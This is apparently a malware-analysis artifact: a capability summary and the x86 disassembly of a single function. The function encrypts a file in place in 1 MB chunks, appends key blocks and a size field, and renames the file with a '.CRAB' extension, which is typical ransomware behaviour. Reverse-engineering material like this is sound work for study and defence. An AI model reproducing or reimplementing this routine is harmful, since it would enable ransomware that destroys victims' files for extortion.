Function at 0x10004070
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x184
push ebx
push esi
push edi
lea eax, [ebp - 0x24]
mov dword [ebp - 0x14], 0
push eax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x24], 0
push eax
push 0
mov ebx, ecx
mov ecx, edx
push 0
call fcn.10007050
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x40
push 0x3000
push 0x401
push 0
call esi
mov edi, eax
mov dword [ebp - 0x44], 0x43002e
push ebx
push edi
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x40], 0x410052
mov dword [ebp - 0x3c], 0x42
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x44]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
movdqa xmm0, xmmword [0x100117b0]
mov edx, 0x10
movdqu xmmword [ebp - 0x88], xmm0
push ecx
movdqa xmm0, xmmword [0x100117b0]
lea ecx, [ebp - 0x64]
movdqu xmmword [ebp - 0x78], xmm0
mov byte [ebp - 0x68], 0
movdqa xmm0, xmmword [0x100117b0]
movdqu xmmword [ebp - 0x64], xmm0
call fcn.100092b0
mov edx, 0x20
lea ecx, [ebp - 0x88]
call fcn.100092b0
add esp, 4
push 4
push 0x3000
push 0x800
push 0
call esi
movdqu xmm0, xmmword [ebp - 0x88]
mov edi, eax
push 4
push 0x3000
push 0x800
movdqu xmmword [edi], xmm0
push 0
movdqu xmm0, xmmword [ebp - 0x78]
mov dword [ebp - 0x10], edi
movdqu xmmword [edi + 0x10], xmm0
call esi
movdqu xmm0, xmmword [ebp - 0x64]
push 0x800
mov dword [ebp - 8], eax
movdqu xmmword [eax], xmm0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x54], 0x20
push eax
push edi
push dword [ebp - 0x24]
mov dword [ebp - 0x50], 0x10
push dword [ebp - 0x14]
call fcn.100071b0
mov edi, dword [sym.imp.KERNEL32.dll_VirtualFree]
add esp, 0x14
test eax, eax
jne 0x100041be
push 0x10
push str.Fatal_error
push str.Fatal_error:_rsaenh.dll_is_not_initialized_as_well
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x1000422c
push 0x800
lea eax, [ebp - 0x50]
push eax
push dword [ebp - 8]
push dword [ebp - 0x24]
push dword [ebp - 0x14]
call fcn.100071b0
add esp, 0x14
test eax, eax
jne 0x100041f5
call dword [sym.imp.KERNEL32.dll_GetLastError]
xorps xmm0, xmm0
movlpd qword [ebp - 0x30], xmm0
mov esi, dword [ebp - 0x2c]
mov ebx, dword [ebp - 0x30]
jmp 0x1000443c
lea eax, [ebp - 0x180]
push eax
lea eax, [ebp - 0x88]
push eax
call fcn.100093d0
add esp, 8
push 0
push 0x80
push 3
push 0
push 1
push 0xc0000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x10004257
push 0x8000
push 0
push dword [ebp - 8]
call edi
push 0x8000
push 0
push dword [ebp - 0x10]
call edi
xorps xmm0, xmm0
movlpd qword [ebp - 0x30], xmm0
mov esi, dword [ebp - 0x2c]
mov ebx, dword [ebp - 0x30]
jmp 0x1000443c
push 4
push 0x3000
push 8
push 0
call esi
push 4
mov ebx, eax
push 0x3000
push 0x100001
push 0
mov dword [ebx], 0
mov dword [ebx + 4], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualFree]
xor esi, esi
xor ecx, ecx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x34], ecx
jmp 0x10004298
mov eax, dword [ebp - 0x18]
push 0
lea ecx, [ebp - 0xc]
push ecx
push 0x100000
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100043b9
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x100043b9
cmp eax, 0x100000
mov dword [ebp - 0x20], 0
mov ecx, 1
mov dword [ebp - 0x2c], 0
cmovb esi, ecx
add dword [ebx], eax
adc dword [ebx + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x28], eax
test al, 0xf
je 0x100042f8
mov edi, edi
inc eax
test al, 0xf
jne 0x100042f0
mov dword [ebp - 0xc], eax
push 4
push 0x3000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push dword [ebp - 0x28]
mov dword [ebp - 0x38], eax
push dword [ebp - 0x18]
push eax
call fcn.100099d0
mov eax, dword [ebp - 0xc]
add esp, 0xc
mov dword [ebp - 0x28], eax
push 4
push 0x3000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
je 0x10004352
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x38]
push eax
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x180]
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.10003f90
add esp, 0x10
push 0x8000
push 0
push dword [ebp - 0x38]
call edi
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x2c]
neg ecx
push 1
adc eax, 0
push 0
neg eax
push eax
push ecx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
jne 0x10004384
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0xc]
push dword [ebp - 0x20]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x100043a5
mov esi, 1
mov dword [ebp - 0x34], esi
push 0x8000
push 0
push dword [ebp - 0x20]
call edi
test esi, esi
je 0x10004295
push 0x8000
push 0
push dword [ebp - 0x18]
call edi
mov ecx, dword [ebp - 0x34]
mov esi, dword [ebp - 4]
test ecx, ecx
jne 0x10004408
push ecx
lea eax, [ebp - 0x1c]
push eax
push 0x100
push dword [ebp - 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 0x1c]
push eax
push 0x100
push dword [ebp - 8]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 0x1c]
push eax
push 8
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebx]
mov esi, dword [ebx + 4]
push 0x8000
push 0
push ebx
mov dword [ebp - 0x2c], eax
call edi
push 0x8000
push 0
push dword [ebp - 0x10]
call edi
push 0x8000
push 0
push dword [ebp - 8]
call edi
mov ebx, dword [ebp - 0x2c]
push 0x8000
push 0
push dword [ebp - 0x48]
call edi
pop edi
mov edx, esi
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret